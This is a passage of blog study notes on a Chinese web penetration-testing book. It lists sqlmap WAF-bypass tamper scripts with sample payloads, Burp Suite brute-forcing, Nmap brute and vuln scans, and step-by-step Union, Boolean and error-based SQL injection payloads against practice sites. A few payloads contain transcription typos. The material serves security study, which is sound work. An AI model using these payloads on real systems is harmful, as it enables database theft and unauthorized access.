    作用:对给定的Payload全部字符使用URL编码。
    使用脚本前的语句为:SELECT FIELD FROM%20TABLE
    使用脚本后的语句为:%53%45%4c%45%43%54%20%46%49%45%4c%44%20%46%52%4f%4d%20%54%41%42%4c%45
    randomcase.py
    作用:随机大小写。
    使用脚本前的语句为:INSERT
    使用脚本后的语句为:InsERt
    charunicodeencode.py
    作用:字符串unicode编码。
    使用脚本前的语句为:SELECT FIELD%20FROM TABLE
    使用脚本后的语句为:%u0053%u0045%u004c%u0045%u0043%u0054%u0020%u0046%u0049%u0045%u004c%u0044%u0020%u0046%u0052%u004f%u004d%u0020%u0054%u0041%u0042%u004c%u0045
    space2comment.py
    作用:将空格替换为 / ** /
    使用脚本前的语句为:SELECT id FROM users
    使用脚本后的语句为:SELECT/ ** /id/ ** /FROM/ ** /users
    equaltolike.py
    作用:将等号替换为 like
    使用脚本前的语句为:SELECT * FROM users WHERE id=1
    使用脚本后的语句为:SELECT * FROM users WHERE id LIKE 1
    greatest.py
    作用:绕过对 ">" 的过滤,用GREATEST替换大于号。
    使用脚本前的语句为:1 AND A>B
    使用脚本后的语句为:1 AND GREATEST(A,B+1)=A
    ifnull2ifisnull.py
    作用:绕过对IFNULL的过滤。
    使用脚本前的语句为:IFNULL(1,2)
    使用脚本后的语句为:IF(ISNULL(1),2,1)
    modsecurityversioned.py
    作用:过滤空格,使用MySQL内联注释的方式进行注入。
    使用脚本前的语句为:1 AND 2>1-
    使用脚本后的语句为:1 / * !30874AND 2>1 * /-
    space2mysqlblank.py
    作用:将空格替换为其他空白符号。
    使用脚本前的语句为:SELECT id FROM users
    使用脚本后的语句为:SELECT%A0id%0BFROM%0Cusers
    modsecurityzeroversioned.py
    作用:使用MySQL内联注释的方式进行注入。
    使用脚本前的语句为:1 AND 2>1-
    使用脚本后的语句为:1 / * !00000AND 2>1 * /-
    space2mysqldash.py
    作用:将空格替换为——,并添加一个换行符。
    使用脚本前的语句为:AND 9227=9227
    使用脚本后的语句为:1——%0AAND——%0A9227=9227
    bluecoat.py
    作用:在SQL语句之后用有效的随机空白符替换空格符,随后用LIKE替换等号。
    使用脚本前的语句为:SELECT id FROM users where id=1
    使用脚本后的语句为:SELECT%09id FROM%09users WHERE%09id LIKE 1
    versionedkeywords.py
    作用:注释绕过。
    使用脚本前的语句为:UNION ALL SELECT NULL,NULL,CONCAT(CHAR(58,104,116,116,58),IFNULL(CAST(CURRENT USER()AS CHAR),CHAR(32))CH/ ** /AR(58,100,114,117,58))#
    使用脚本后的语句为:/ * !UNION ** !ALL!SELECT * !NUL/,/!NULL/,CONCAT(CHAR(58,104,116,116,58),IFNULL(CAST(CURRENT USER()/ * !AS ** !CHAR * /),CHAR(32)),CHAR(58,100,114,117,58))#
    halfversionedmorekeywords.py
    作用:当数据库为MySQL时绕过防火墙,在每个关键字之前添加MySQL版本注释。
    使用脚本前的语句为:value' UNI0N ALL SELECT C0NCAT(CHAR(58,107,112,113,58),IFNULL(CAST(CURRENT USER()AS CHAR),CHAR(32)),CHAR(58,97,110,121,58)),NULL,NULL#AND QDWa'='QDWa
    使用脚本后的语句为:value'/ * !0UNI0N/ * !0ALL/ * !0SELECT/!0C0NCAT(/ * !0CHAR(58,107,112,113,58),/!0IFN ULL(CAST(/ * !0CURRENT USER()/ * !0AS/ * !0CHAR),/ * !0CHAR(32)),/!0CHAR(58,97,110,121,58)),/!0NULL,/!0NULL#/ * !0AND'QDWa'='QDWa
    space2morehash.py
    作用:将空格替换为#号,并添加一个随机字符串和换行符。
    使用脚本前的语句为:1 AND 9227=9227
    使用脚本后的语句为:1%23ngNvzqu%0AAND%23nVNaVoPYeva%0A%23lujYFWfv%0A9227=9227
    apostrophenullencode.py
    作用:用非法双字节unicode字符替换单引号。
    使用脚本前的语句为:1 AND'1'='1
    使用脚本后的语句为:1 AND%00%271%00%27=%00%271
    appendnullbyte.py
    作用:在有效负荷的结束位置加载零字节字符编码。
    使用脚本前的语句为:1 AND 1=1
    使用脚本后的语句为:1 AND 1=1%00
    chardoubleencode.py
    作用:对给定的Payload全部字符使用双重URL编码。
    使用脚本前的语句为:SELECT FIELD FROM%20TABLE
    使用脚本后的语句为:%2553%2545%254c%2545%2543%2554%2520%2546%2549%2545%254c%2544%2520%2546%2552%25 4%254d%2520%2554%2541%2542%254c%2545
    unmagicquotes.py
    作用:用一个多字节组合(%b%27)和末尾通用注释一起替换空格。
    使用脚本前的语句为:1' AND 1=1
    使用脚本后的语句为:1%bf%27-
    randomcomments.py
    作用:用/ ** /分割SQL关键字。
    使用脚本前的语句为:INSERT
    使用脚本后的语句为:IN/ ** /S/ ** /ERT
    • 3.2 Burp Suite详解

    一、Burp Suite的安装
    Burp Suite可执行程序是Java文件类型的jar文件。免费版的Burp Suite会有许多限制,如果想使用更多的高级功能,需要购买专业版。两者的主要区别有以下三点:Burp Scanner,工作空间的保存和恢复,拓展工具(Target Analyzer、Content Discovery、Task Scheduler)
    1、Burp Suite是用Java语言开发的,运行时依赖JRE,需要安装Java环境才可以运行。


    2、正确配置环境变量。

    3、下载好的Burp无须安装,直接双击 BurpLoader.jar 即可运行。
    二、Burp Suite入门
    Burp Suite代理工具是以拦截代理的方式,拦截所有通过代理的网络流量,如客户端的请求数据、服务器端的返回信息等。Burp Suite主要拦截 HTTP 和 HTTPS 协议的流量,以中间人的方式对信息做各种处理,以达到安全测试的目的。
    日常工作中最常用的Web客户端就是Web浏览器,我们可以通过设置代理,拦截Web浏览器的流量,并对经过Burp Suite代理的流量数据进行处理。Burp Suite运行后,Burp Proxy默认本地代理端口为8080。

    1、Proxy
    Burp Proxy是开展测试流程的核心,通过代理模式,可以让我们拦截、查看、修改客户端与服务端之间传输的数据。
    Burp Proxy拦截功能主要由 Intercept 选项卡中的Forward、Drop、Action构成。
    Forward表示将数据包发送至服务器。Drop表示丢弃当前拦截的数据包。Action表示将数据包进一步发送到Spider、Scanner、Repeater、Intruder等功能组件做进一步的测试,同时也包含改变数据包请求方式及其body编码等功能。
    打开浏览器输入访问的URL,这时将看到数据流量经过Burp Proxy并暂停,直到单击Forward,才会继续传输下去。如果单击了Drop,这次通过的数据将丢失,不再继续处理。当拦截的客户端和服务器交互之后,可以在消息分析选项中查看请求的实体内容、消息头、请求参数等。Burp有4种消息类型来显示数据包:Raw、Params、Headers、Hex。
    ① Raw主要显示Web请求的raw格式,以纯文本的形式显示数据包,包含请求地址、HTTP协议版本、主机头、浏览器信息、Accept可接受的内容类型、字符集、编码方式、cookie等,可以手动修改这些信息,对服务器端进行渗透测试。
    ② Params主要显示客户端请求的参数信息,包括GET或POST请求参数、cookie参数。可以修改这些请求参数,对服务器端进行渗透测试。
    ③ Headers中显示的是数据包中的头信息,以名称、值的形式显示数据包。
    ④ Hex对应的是Raw中信息的二进制内容,可以通过Hex编辑器对内容进行修改,在进行00截断时非常好用。
    2、Spider
    Spider的蜘蛛爬行功能可以帮助我们了解系统的结构,其中爬到的内容将在Target中展示,如图所示。界面左侧为一个主机和目录树,选择分支即可查看对应的请求与响应。

    3、Decoder
    Decoder是自带的编码(Decode as)解码(Encode as)及散列转换(Hash)的工具,输入域和输出域都支持文本和Hex这两种格式。在实际使用时,可以根据需要自行设置。① 编码解码支持 URL、HTML、Base64、ASCII、十六进制、八进制、二进制、GZIP格式的转换。 ② Hash散列支持 SHA、SHA-224、SHA-256、SHA-384、SHA-512、MD2、MD5格式的转换。更重要的是,同一个数据可以进行多次编码、解码的转换。
    • 3.3 Burp Suite进价

    一、Scanner
    Burp Scanner主要用于自动检测Web系统的各种漏洞。大体环节如下:
    1、进入Burp Proxy关闭代理拦截功能,快速浏览需要扫描的域或URL,默认情况下Burp Scanner会扫描通过代理服务的请求,并对请求消息进行分析是否存在漏洞。
    2、打开Burp Target,站点地图中会显示请求的URL树,右击选择 "Actively scan this host" 会弹出过滤设置,保持默认选项即可扫描整个域。


    也可以在Proxy下的HTTP history中,选择某个节点上的 URL 右击选择 "Do an active scan" 进行扫描。

    在Scanner界面下双击即可看到扫描结果。

    3、扫描完成后,可以在扫描结果中选中需要分析的部分,将其发送到repeater中进行模拟提交分析和验证。

    也可以右击Burp Target站点地图选项下的链接,依次选择 "issues"、"Report issues" 选项,将漏洞报告以 html 文件格式导出。

    Burp Scanner主要有主动扫描、被动扫描两种扫描方式。
    1、主动扫描(Active Scanning)
    Burp会向应用发送新的请求并通过Payload验证漏洞。这种模式下的操作会产生大量的请求和应答数据,直接影响服务端的性能,通常用于非生产环境。主动扫描适用于以下两类漏洞:
    ① 客户端的漏洞,如XSS,HTTP头注入、操作重定向。
    在检测时会提交 input 域,然后根据应答的数据进行解析。在检测过程中,会根据漏洞的特征对参数进行修改,模拟人的行为,以达到检测漏洞的目的。
    ② 服务端的漏洞,如SQL注入、命令行注入、文件遍历。
    以SQL注入为例,服务端有可能返回数据库错误信息,也有可能什么都不反馈。在检测过程中,会采用各个技术验证漏洞是否存在,如诱导时间延迟、强制修改Boolean值、与模糊测试的结果进行比较,以提高准确性。
    2、被动扫描(Passive Scanning)
    Burp不会重新发送新的请求,只是对已存在的请求和应答进行分析,对服务端的检测来说比较安全,通常用于生产环境的检测。下列漏洞在被动模式中容易被检测出来:
    提交的密码为未加密的明文、不安全的cookie的属性(例如缺少HttpOnly和安全标志)、cookie范围缺失,跨域脚本包含和站点引用泄露,表单值自动填充(尤其是密码),SSL保护的内容缓存,目录列表,提交密码后应答延迟,session令牌的不安全传输,敏感信息(例如内部IP地址、电子邮件地址、堆栈跟踪)泄露,不安全的ViewState的配置,错误或不规范的Content-Type指令。
    虽然相比主动模式有很多不足,但同时也具有主动模式没有的优点。除了对服务端的检测比较安全,当某种测试每次都会破坏业务场景的功能时,可以使用被动扫描模式减少测试风险。
    二、Intruder
    Intruder 是一个定制的高度可配置的工具,可以对Web应用程序进行自动化攻击,如通过标识符枚举用户名、ID、账户号码,模糊测试,SQL注入,跨站,目录遍历等。
    工作原理:通过修改各种请求参数获取不同的请求应答。在每一次请求中,Intruder 通常会携带一个或多个有效攻击载荷(Payload),在不同的位置进行攻击重放,通过应答数据的比对获得需要的特征数据。Burp Intruder通常被应用于以下场景:
    ① 标识符枚举。Web应用程序经常使用标识符引用用户、账户、资产等信息。例如,用户名、文件ID、账户号码。
    ② 提取有用的数据。在某些场景下,不是简单地识别有效标识符,而是通过标识符提取其他数据。例如,通过用户的个人空间ID获取所有用户在其空间的名字和年龄。
    ③ 模糊测试。很多输入型的漏洞(如SQL注入、跨站点脚本、文件路径遍历)可以通过请求参数提交各种测试字符串,并分析错误消息和异常情况来对应用程序进行检测。受限于程序的大小和复杂性,手动测试是一个耗时且烦琐的过程,因此可以设置Payload,通过 Intruder 自动化地进行模糊测试。

    ————————————————————————————————————————
    下面演示利用 Intruder 爆破无验证码和次数限制的网站。前提是你得有比较好的字典,如图所示。需要注意的是,Burp Suite的文件不要放在中文路径下。

    1、将数据包发送到 Intruder 模块,如图所示。

    Burp会自动对某些参数进行标记,单击 " Clear " 按钮,清除标记。
    2、选择要暴力破解的参数 pass,单击 "Add " 按钮,然后选择攻击模式 Sniper。

    ① Sniper模式。这种攻击类型适用于对常见漏洞中的请求参数单独测试的情景。
    ② Battering ram模式。这种攻击适用于请求中把相同的输入放到多个位置的情景。
    ③ Pitchfork模式。这种攻击适用于在不同位置中插入不同但相似输入的情景。
    ④ Cluster bomb模式。这种攻击适用于在不同位置中插入不相关或未知输入的情景。
    3、选择相应的字典,如图所示。

    然后开始爆破并等待结束,如图所示。

    4、对 Status 或 Length 的返回值进行排序,查看是否有不同之处。如果有,查看返回包是否显示登录成功,如图所示。

    三、Repeater
    Burp Repeater是一个手动修改、补发个别 HTTP请求,并分析其响应的工具。它的用途就是能和其他Burp Suite功能结合起来使用。可以将目标站点地图、Burp Proxy浏览记录、Burp Intruder的攻击结果发送到 Repeater上,并手动调整这个请求来对漏洞的探测或攻击进行微调。
    ————————————————————————————————————————
    Repeater分析选项有4种:Raw、Params、Headers、Hex。
    1、Raw:显示纯文本的消息。文本面板的底部有搜索和加亮的功能,可以用来快速定位需要寻找的字符串(如出错消息)。搜索栏左边的弹出项能控制状况的灵敏度,以及是否使用简单文本或十六进制进行搜索。
    2、Params:对于包含参数(URL查询字符串、cookie头或者消息体)的请求,会把参数显示为名字/值的格式,便于查看和修改。
    3、Headers:将以名字/值的格式显示HTTP的消息头,并且以原始格式显示消息体。
    4、Hex:允许直接编辑由原始二进制数据组成的消息。

    ————————————————————————————————————————
    在渗透测试中,经常使用Repeater进行请求与响应的消息验证。例如修改请求参数、验证输入的漏洞;修改请求参数、验证逻辑越权;从拦截历史记录中,捕获特征性的请求消息进行请求重放。本节将抓包发送到Repeater,如图所示。

    在操作界面中,左边的Request为请求消息区,右边的Response为应答消息区。如图所示。

    通过修改请求消息的参数来比对应答消息之间的差异,能帮助我们分析可能存在的漏洞,如图所示。

    四、Comparer
    Burp Comparer主要提供一个可视化的差异比对功能,来对比两次数据之间的区别。使用到的场合有:
    ① 枚举用户名的过程中,对比分析登录成功和失败时,服务端反馈结果的区别。
    ② 使用Intruder攻击时,对于不同服务端响应,可以很快分析出两次响应的区别。
    ③ 进行SQL注入的盲注测试时,比较两次响应消息的差异,判断响应结果与注入条件的关联。

    ————————————————————————————————————————
    使用Comparer时有两个步骤,先是数据加载,如图所示。

    然后是差异分析,如图所示。

    数据加载的常用方式:从其他Burp模块转发过来、直接粘贴、从文件里加载。加载完毕后,如果选择两次不同的请求或应答消息,则下发的比较按钮将被激活,此时可以选择文本比较或字节比较。
    五、Sequencer
    Burp Sequencer用于分析数据样本的随机性质量。可以用它测试应用程序的会话令牌(Session token)、密码重置令牌是否可预测,进而降低这些关键数据被伪造的风险。
    Burp Sequencer主要由信息截取(Live Capture)、手动加载(Manual Load)、选项分析(Analysis Options)组成。

    ————————————————————————————————————————
    在截取信息后,单击 "Load" 加载信息,然后单击 "Analyze now" 进行分析,如图所示。
    • 3.3 Nmap详解

    Nmap(Network Mapper,网络映射器)是一款开源的网络探测和安全审核工具。它的图形化界面是 Zenmap,分布式框架为 DNmap。
    主机探测:探测网络上的主机,如列出响应 TCP 和 ICMP 请求、ICMP请求、开放特别端口的主机。
    端口扫描:探测目标主机所开放的端口。
    版本检测:探测目标主机的网络服务,判断其名称及版本号。
    系统检测:探测目标主机的操作系统及网络设备的硬件特性。
    支持探测脚本的编写:使用 Nmap 的脚本引擎(NSE)和 Lua 编程语言。

    一、Nmap 入门
    1、扫描参数
    进入安装目录后,在命令行直接执行 Nmap 或查看帮助文档(nmap——help)。


    2、常用方法
    Nmap的参数较多,但是通常用不了那么多,以下是渗透测试中比较常见的命令。
    ① 扫描单个目标地址。例:nmap 192.168.0.100

    ② 扫描多个目标地址。例:nmap 192.168.0.100 192.168.0.105
    ③ 扫描一个范围内的目标地址。例:扫描范围为192.168.0.100~110,则 nmap 192.168.0.100-110
    ④ 扫描目标地址所在的某个网段。例:扫描范围为192.168.0.1~255,则 nmap 192.168.0.100/24
    ⑤ 扫描主机列表 targets.txt 中的所有目标地址。例:nmap-iL C:\targets.txt
    ⑥ 扫描除某一个目标地址之外的目标地址。例:nmap 192.168.0.100/24 -exclude 192.168.0.105
    ⑦ 扫描除某一文件中的目标地址之外的目标地址。例:nmap 192.168.0.100/24 -excludefile C:\targets.txt
    ⑧ 扫描某一目标地址的21、22、23、80端口。例:nmap 192.168.0.100 -p 21,22,23,80

    ⑨ 对目标地址进行路由跟踪。例:nmap———traceroute 192.168.0.105

    ⑩ 扫描目标地址所在C段的在线状况。例:nmap -sP 192.168.0.100/24

    ⑪ 目标地址的操作系统指纹识别。例:识别操作系统的版本,则 nmap -O 192.168.0.105

    ⑫ 目标地址提供的服务版本检测。例:nmap -sV 192.168.0.105

    ⑬ 探测防火墙状态。例:nmap -sF -T4 192.168.0.105
    FIN 扫描用于识别端口是否关闭,收到 RST 说明关闭,否则就是 open 或 filtered 状态。

    3、状态识别
    Nmap输出的是扫描列表,包括端口号、端口状态、服务名称、服务版本、协议。通常有如表所示的6种状态。

    了解了以上状态,在渗透测试中,有利于我们确定下一步该采取什么方法或攻击手段。
    二、Nmap进阶
    1、脚本介绍
    Nmap的脚本默认存在/xx/nmap/scripts文件夹下。

    Nmap的脚本主要分为以下几类。
    Auth:负责处理鉴权证书(绕过鉴权)的脚本。
    Broadcast:在局域网内探查更多服务的开启情况,如DHCP/DNS/SQLServer等。
    Brute:针对常见的应用提供暴力破解方式,如HTTP/SMTP等。
    Default:使用-sC或-A选项扫描时默认的脚本,提供基本的脚本扫描能力。
    Discovery:对网络进行更多信息的搜集,如SMB枚举、SNMP查询等。
    Dos:用于进行拒绝服务攻击。
    Exploit:利用已知的漏洞入侵系统。
    External:利用第三方的数据库或资源。例如,进行Whois解析。
    Fuzzer:模糊测试脚本,发送异常的包到目标机,探测出潜在漏洞。
    Intrusive:入侵性的脚本,此类脚本可能引发对方的IDS/IPS的记录或屏蔽
    Malware:探测目标机是否感染了病毒、开启后门等信息。
    Safe:此类与Intrusive相反,属于安全性脚本。
    Version:负责增强服务与版本扫描功能的脚本。
    Vuln:负责检查目标机是否有常见漏洞,如MS08-067

    2、常用脚本
    用户还可根据需要设置——script=类别进行扫描,常用参数如下所示。
    -sC/——script=default:使用默认的脚本进行扫描。
    ——script=<Lua scripts>:使用某个脚本进行扫描。
    ——script-args=key1=value1,key2=value2....:用于传递脚本里的参数,key是参数名,value是参数值。
    -script-args-file=filename:使用文件为脚本提供参数。
    ——script-trace:显示脚本执行过程中发送与接收的数据。
    ——script-updatedb:自行扫描scripts目录中的扩展脚本,进行数据库更新。
    ——script-help:输出脚本使用参数,以及详细的介绍信息。

    3、实例
    ① 鉴权扫描:使用 ——script=auth 对目标主机或所在网段进行应用弱口令检测。
    例:nmap——script=auth 192.168.0.105
    ② 暴力破解攻击:Nmap可以对数据库、SMB、SNMP等进行简单密码的暴力猜解。
    例:nmap——script=brute 192.168.0.105
    ③ 扫描常见的漏洞:Nmap可以检查目标主机或网段是否存在常见的漏洞。
    例:nmap——script=vuln 192.168.0.105
    ④ 应用服务扫描
    Nmap具备很多常见应用服务的扫描脚本,例如VNC、MysQL、Telnet、Rsync。以VNC服务为例,nmap——script=realvnc-auth-bypass 192.168.0.105
    ⑤ 探测局域网内更多服务开启的情况
    nmap -n -p 445——script=broadcast 192.168.0.105
    ⑥ Whois解析
    利用第三方的数据库或资源查询目标地址的信息,nmap -script external baidu.com

    四、Web安全原理剖析

    • 4.1 SQL 注入的基础

    一、介绍 SQL 注入
    1、指Web应用程序对用户输入数据的合法性没有判断,前端传入后端的参数是攻击者可控的。并且参数带入数据库查询,攻击者可以通过构造不同的SQL语句来实现对数据库的任意操作。
    2、一般情况下,开发人员可以使用动态SQL语句创建通用、灵活的应用。当开发人员根据不同的查询标准决定提取什么字段(如select语句),或者根据不同的条件选择不同的查询表时,动态地构造SQL语句会非常有用。
    例:$query="SELECT * FROM users WHERE id=$_GET['id']";
    这里的参数ID可控,且带入数据库查询,所以非法用户可以任意拼接SQL语句进行攻击。
    3、SQL注入可以分为很多种,如报错注入、盲注、Union注入等。
    二、SQL 注入的原理
    SQL注入漏洞的产生需要满足以下两个条件:
    ① 参数用户可控:前端传给后端的参数内容是用户可以控制的。
    ② 参数带入数据库查询:传入的参数拼接到SQL语句,且带入数据库查询。
    1、当传入的ID参数为 1' 时,执行的语句 select * from users where id=1' 不符合数据库语法规范,所以会报错。
    2、当传入的ID参数为 and 1=1 时,执行的语句 select * from users where id=1 and 1=1。因为1=1为真,且where语句中id=1也为真,页面会返回与id=1相同的结果。
    3、当传入的ID参数为and 1=2时,执行的语句 select * from users where id=1 and 1=1。因为1=2为假,页面就会返回与id=1不同的结果。
    由此可以初步判断ID参数存在SQL注入漏洞。攻击者可以进一步拼接SQL语句进行攻击,致使数据库信息泄露,甚至进一步获取服务器权限等。在实际环境中,凡是满足上述两个条件的参数皆可能存在SQL注入漏洞,因此开发者需秉持 “外部参数皆不可信” 的原则进行开发。
    三、与 MySQL 注入相关的知识点
    1、在MySQL 5.0之后,默认存放一个 "information schema" 的数据库,在该库中需要记住三个表名:SCHEMATA、TABLES、COLUMNS。
    ① SCHEMATA表存储该用户创建的所有数据库的库名,对应字段名 SCHEMA_NAME。
    ② TABLES表存储该用户创建的所有数据库的库名、表名,对应字段名 TABLE_SCHEMA、TABLE_NAME。
    ③ COLUMNS表存储该用户创建的所有数据库的库名、表名、字段名,对应字段名 TABLE_SCHEMA、TABLE_NAME、COLUMN_NAME。
    2、常用的MySQL查询语句和函数
    ① MySQL查询语句
    不知道任何条件时:SELECT 查询字段名 FROM 库名.表名
    在知道一条条件时:SELECT 查询字段名 FROM 库名.表名 WHERE 已知的字段名='已知的值'
    在知道两条条件时:SELECT 查询字段名 FROM 库名.表名 WHERE 已知的字段名1='已知的值1' AND 已知的字段名2='已知的值2'
    ② limit 的用法
    使用格式为 limit m,n。m是记录开始的位置,从0开始,表示第一条记录;n是取n条记录。
    例:limit 0,1表示从第一条记录开始,取一条记录。不使用 limit 和使用 limit 查询的结果分别如图。


    ③ 需要记住的几个函数
    database():当前网站使用的数据库。
    version():当前 MysQL 的版本。
    user():当前 MySQL 的用户。
    ④ 注释符
    在MySQL中,常见注释符的表达方式:#、--空格、/**/
    ⑤ 内联注释
    内联注释可以用于整个SQL语句中,形式:/*!code*/
    例:index.php?id=-15 /*!UNION*/ /*!SELECT*/ 1,2,3
    四、Union 注入攻击
    Union注入攻击的测试地址:http:// www .ccctf .cn/union.php?id=1
    1、在URL后添加一个单引号,再次访问,页面返回结果与id=1的结果不同。
    访问 id=1 and 1=1,由于and 1=1为真,所以页面应返回与id=1相同的结果。
    访问 id=1 and 1=2,由于and 1=2为假,所以页面应返回与id=1不同的结果。
    可知该网站可能存在SQL注入漏洞。
    2、接着,使用order by 1-99语句查询该数据表的字段数量,可理解为order by=1-99。若访问 id=1 order by 3,页面返回与id=1相同的结果。若访问 id=1 order by 4,页面返回与id=1不同的结果,则字段数为3。
    3、在数据库中查询参数ID对应的内容,并输出到页面:union select 1,2,3

    页面成功执行,但没有返回union select的结果。这是因为代码只返回第一条结果,所以union select的结果没有输出。可以设置ID的值为1,这样数据库中没有id=-1的数据,会返回union select的结果。

    返回的结果为2:3,意味着2和3的位置可以输入MySQL语句。
    4、接下来尝试在2的位置查询数据库名:id=-1 union select 1,database(),3。页面返回了数据库名 'sql'。
    5、接下来查询表名:?id=-1 union select 1,(select table name from information schema.tables where table_schema='sql' limit 0,1),2。返回了第1个表名 'emails'。如果需要看第2个表名,使用 limit 1,1。返回第2个表名 'referers'。
    6、接下来查询字段名:?id=-1 union select 1,(select column name from information schema.columns where table schema='sql' and table name='emails' limit 0,1),2。返回了第1个字段名 'id'。使用 limit 1,1。返回第2个字段名 'email_id'。
    7、获取了库名、表名、字段名后,就可以构造SQL语句查询数据。例:查询字段email_id对应的数据:select email_id from sql.emails limit 0,1。结果如图所示。

    五、Union 注入代码分析
    在Union注入页面中,程序获取GET参数ID,将ID拼接到SQL语句中,在数据库中查询ID对应的内容,然后将第一条查询结果中的username和address输出到页面。由于是将数据输出到页面,可以利用Union语句查询其他数据,代码如下。

    当访问 id=1 union select 1,2,3 时,执行的SQL语句为:select * from users where id=1 union select 1,2,3。SQL语句可以分为两条,利用第二条语句(Union查询)就可以获取数据库中的数据。
    六、Boolean注入攻击
    Boolean注入攻击的测试地址:http: //www. ccctf. cn/boolean.php?id-1
    访问该网址时,页面返回yes,如图所示。

    在URL后添加一个单引号,再次访问,页面返回no。
    访问 id=1' and 1=1%23,id=1' and 1=2%23,返回的分别是yes和no。更改ID的值,返回的仍然是yes或no,由此可判断,页面只返回yes或no,而没有返回数据库中的数据,所以不可使用Union注入。尝试利用Boolean注入,Boolean注入是指构造SQL判断语句,通过查看返回结果来推测哪些判断条件是成立的,以此获取数据库中的数据。
    1、我们先判断数据库名的长度,语句如下所示:'and length(database()) >=1——+
    1的位置可以是任意数字。发现当为3时,返回yes,而当为4时,返回no。由此判断库名的长度为3。
    2、接着,使用逐字符判断的方式获取数据库库名。范围一般在a~z、0-9之内,可能还有特殊字符,字母不区分大小写。
    ① 逐字符判断的SQL语句为:'and substr(database(),1,1) = 't'——+
    其意是截取 database() 的值,从第一个字符开始,每次返回一个。需要注意,substr 的用法跟 limit 有区别。limit是从0开始排序,而这里是从1开始排序。可以使用Burp爆破其中的 't' 值,如图所示。

    当值是s时,页面返回yes,其他值均返回no,因此判断库名的第一位为s,如图所示。

    ② 还可以使用ASCII码的字符进行查询,s是115,而在MySQL中ASCII转换的函数为ord,则判断语句应为:' and ord (substr(database(),1,1)) = 115——+
    从Union注入中我们已知库名是'sql',因此猜测第二位是q,使用以下判断语句:' and substr (database(),2,1) = 'q'——+。返回的结果是yes。
    3、查询表名、字段名的语句也应粘贴在 database() 的位置,从Union注入中已知数据库的第一个表名是emails,第一个字母应当是e,判断语句如下:'and substr ((select table_name from information_schema.tables where table_schema='sql' limit 0,1),1,1) = 'e'——+。结果如图所示,我们的结论是正确的。依此类推,就可以查询出所有的表名与字段名。

    七、Boolean注入代码分析
    在Boolean注入页面中,程序先获取GET参数ID,通过preg_match判断其中是否存在 union/sleep/benchmark 等危险字符。然后将ID拼接到SQL语句,从数据库中查询,如有结果,返回yes,否则返回no。页面上只会显示yes或no,而不返回数据库中的任何数据。代码如下所示。

    当访问 id=1' or 1=1%23时,数据库执行的语句为 select * from users where `id`='1' or 1=1#,由于or 1=1是永真条件,所以此时肯定会返回yes。当访问 id=1' and 1=2%23 时,数据库执行的语句为 select * from users where `id`='1' and 1=2#,由于and '1'=2是永假条件,所以此时肯定会返回no。
    八、报错注入攻击
    报错注入攻击的测试地址:http: //www. ccct. cn/sq/error.php?username=1.
    1、首先加单引号访问,因为参数username的值是1',在数据库中执行SQL时会报错,程序直接将错误信息输出到了页面,如图所示。

    2、报错注入有多种格式,此处利用函数 updatexml() 演示获取 user() 的值,SQL语句如下所示:'and updatexml (1, concat(0x7e, (select user()), 0x7e),1)——+
    其中0x7e是ASCII码,解码为~,返回结果如图所示。

    3、然后尝试获取当前数据库的库名,如图所示,SQL语句如下所示:' and updatexml (1, concat(0x7e, (select database()), 0x7e), 1)——+

    接着可以利用select语句继续获取库名、表名、字段名,查询语句与Union注入的相同。因为报错注入只显示一条结果,所以需要使用limit。
    例1、构造语句如下所示:' and updatexml (1, concat(0x7e, (select schema_name from information_schema.schemata limit 0,1), 0x7e), 1)——+
    如图所示,获取了数据库的库名。

    例2、构造语句如下所示:' and updatexml (1, concat(0x7e, (select table_name from information_schema.tables where table_schema='test' limit 0,1), 0x7e), 1)——+
    如图所示,获取了数据库test的表名。
    • 4.2

    • 4.3

    • 4.4

    • 4.5

    五、Metasploit技术

    六、PowerShell攻击指南

    七、实例分析

    相关文章

      网友评论

        本文标题:《 Web 安全渗透测试实战指南 》学习笔记

        本文链接:https://www.haomeiwen.com/subject/klpphltx.html